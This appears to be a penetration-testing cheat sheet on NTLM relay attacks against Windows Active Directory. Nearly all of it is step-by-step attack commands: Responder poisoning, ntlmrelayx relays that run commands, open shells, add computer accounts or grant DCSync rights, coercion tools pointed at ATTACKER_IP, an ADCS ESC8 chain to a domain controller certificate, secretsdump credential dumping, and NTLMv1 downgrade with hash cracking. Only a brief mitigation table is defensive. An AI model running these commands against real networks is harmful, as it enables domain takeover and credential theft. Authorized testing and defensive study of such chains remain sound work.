NTLM Relay Attacks
aka NTLM Relay, SMB Relay, LDAP Relay, Responder, ntlmrelayx
NTLM relay end-to-end: Responder poisoning, ntlmrelayx SMB/LDAP/HTTP relay, authentication coercion (PrinterBug, PetitPotam, DFSCoerce, Coercer), SMB signing detection, LDAP relay to DACL/computer account, and NTLMv1 downgrade.
Ports
| Port | Proto | Notes |
|---|---|---|
445 | tcp | SMB — relay target (requires signing disabled) |
389 | tcp | LDAP — relay target for object modifications |
80 | tcp | HTTP — relay target (web enrollment, Exchange) |
Fingerprint
- nxc smb network --gen-relay-list reveals hosts with SMB signing disabled
- LDAP relay works even with SMB signing enabled
Key files
| Path | Holds | Sensitive |
|---|---|---|
ntlmrelayx SOCKS session | authenticated session usable with proxychains | sensitive |
Exploitation primitives
- Disable Responder HTTP/SMB listeners, enable ntlmrelayx, then poison to relay
- SMB relay requires signing disabled on target; LDAP relay has no signing requirement by default
- Coerce DC authentication via PrinterBug/PetitPotam → relay to LDAP → DCSync rights or certificate
- Computer account creation via LDAP relay → pivot to RBCD attack
Concept
NTLM authentication sends a challenge-response hash that proves identity without transmitting the password. The relay attack intercepts this authentication and replays it to a different server — the attacker authenticates to the target as the victim.
Key requirements:
- SMB relay: target must have SMB signing disabled or not required
- LDAP relay: no signing requirement by default (until EnableLdapSigning policy applied)
- HTTP relay: no signing — works for Exchange EWS, ADCS web enrollment, etc.
Step 1 — Find Relay Targets (SMB Signing)
# nxc — generate a relay target list (hosts where signing is NOT required)
nxc smb 10.129.0.0/24 --gen-relay-list relay_targets.txt
# nmap
nmap -p 445 --script smb-security-mode 10.129.0.0/24 | grep "message_signing"
# runfinger.py (Responder tool)
python3 /opt/Responder/tools/RunFinger.py -i 10.129.0.0/24
Domain controllers always require SMB signing. Member servers usually do not.
Step 2 — Configure Responder (disable SMB/HTTP)
Edit /etc/responder/Responder.conf:
; Disable so ntlmrelayx handles these protocols
SMB = Off
HTTP = Off
Start Responder in poisoning mode:
sudo responder -I eth0 -wrf
Step 3 — Start ntlmrelayx
SMB relay → execute command
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami > C:\\Windows\\Temp\\pwned.txt"
SMB relay → interactive shell
ntlmrelayx.py -tf relay_targets.txt -smb2support -i
# Spawns interactive SMB shell on localhost
nc 127.0.0.1 11000
LDAP relay → dump domain info
ntlmrelayx.py -t ldap://DC_IP --dump-laps --dump-adcs
ntlmrelayx.py -t ldaps://DC_IP --dump-laps
LDAP relay → create computer account (for RBCD)
ntlmrelayx.py -t ldap://DC_IP --add-computer EVILPC --computer-password 'EvilPass123!'
LDAP relay → grant DCSync rights
ntlmrelayx.py -t ldap://DC_IP --escalate-user low_priv_user
HTTP relay → ADCS web enrollment (ESC8)
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
SOCKS proxy (persistent session)
ntlmrelayx.py -tf relay_targets.txt -smb2support --socks
# Then via proxychains:
proxychains secretsdump.py -no-pass domain.local/victim@TARGET
Authentication Coercion
Coercion forces a privileged machine (typically the DC) to authenticate to your relay listener.
PrinterBug (MS-RPRN SpoolSample)
# Linux
python3 printerbug.py 'domain.local/user:pass'@DC_IP ATTACKER_IP
# Windows (SharpPrintBug)
.\SharpSpoolTrigger.exe DC_IP ATTACKER_IP
PetitPotam (MS-EFSRPC)
python3 PetitPotam.py -u user -p pass -d domain.local ATTACKER_IP DC_IP
# Unauthenticated (patched in Aug 2021 but variants remain)
python3 PetitPotam.py ATTACKER_IP DC_IP
DFSCoerce (MS-DFSNM)
python3 dfscoerce.py -u user -p pass -d domain.local ATTACKER_IP DC_IP
Coercer (covers all coercion methods)
# Enumerate available coercion methods
python3 Coercer.py scan -t DC_IP -u user -p pass -d domain.local
# Trigger all available coercions
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d domain.local
Combined Coercion + LDAP Relay → ADCS (ESC8)
Full chain: force DC authentication → relay to CA web enrollment → get a certificate for the DC account → DCSync.
# Terminal 1: relay to ADCS
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Terminal 2: coerce DC
python3 PetitPotam.py ATTACKER_IP DC_IP
# After cert is received:
certipy auth -pfx dc.pfx -dc-ip DC_IP # gets DC TGT + NT hash
# DCSync with the DC hash
secretsdump.py -hashes ':DC_NT_HASH' 'domain.local/DC$'@DC_IP
Combined Coercion + Responder → Hash Capture
When relay isn’t possible (all hosts have signing enabled), capture and crack instead:
# Start Responder with SMB/HTTP On (not relaying)
sudo responder -I eth0 -wrf
# Coerce DC authentication
python3 PetitPotam.py ATTACKER_IP DC_IP
# Responder captures the DC$ machine account hash
# Crack: hashcat -m 5600 dc_hash.txt rockyou.txt
NTLMv1 Downgrade
Force downgrade from NTLMv2 to NTLMv1 — weaker and crackable via crack.sh rainbow tables.
# Responder with NTLMv1 capture
sudo responder -I eth0 --lm --disable-ess
# Or configure ntlmrelayx downgrade
ntlmrelayx.py -tf relay_targets.txt --ntlm-versions "1"
Submit NTLMv1 hashes to https://crack.sh (free for 1000 hashes/day).
Mitigations checked for
| Control | How to verify |
|---|---|
| SMB signing required | nxc smb target --gen-relay-list — list should be empty |
| LDAP signing + channel binding | nxc ldap DC_IP -M ldap-checker |
| EPA on Exchange / ADCS | Check IIS config for Extended Protection |
| Disable LLMNR/NBT-NS | Check Group Policy |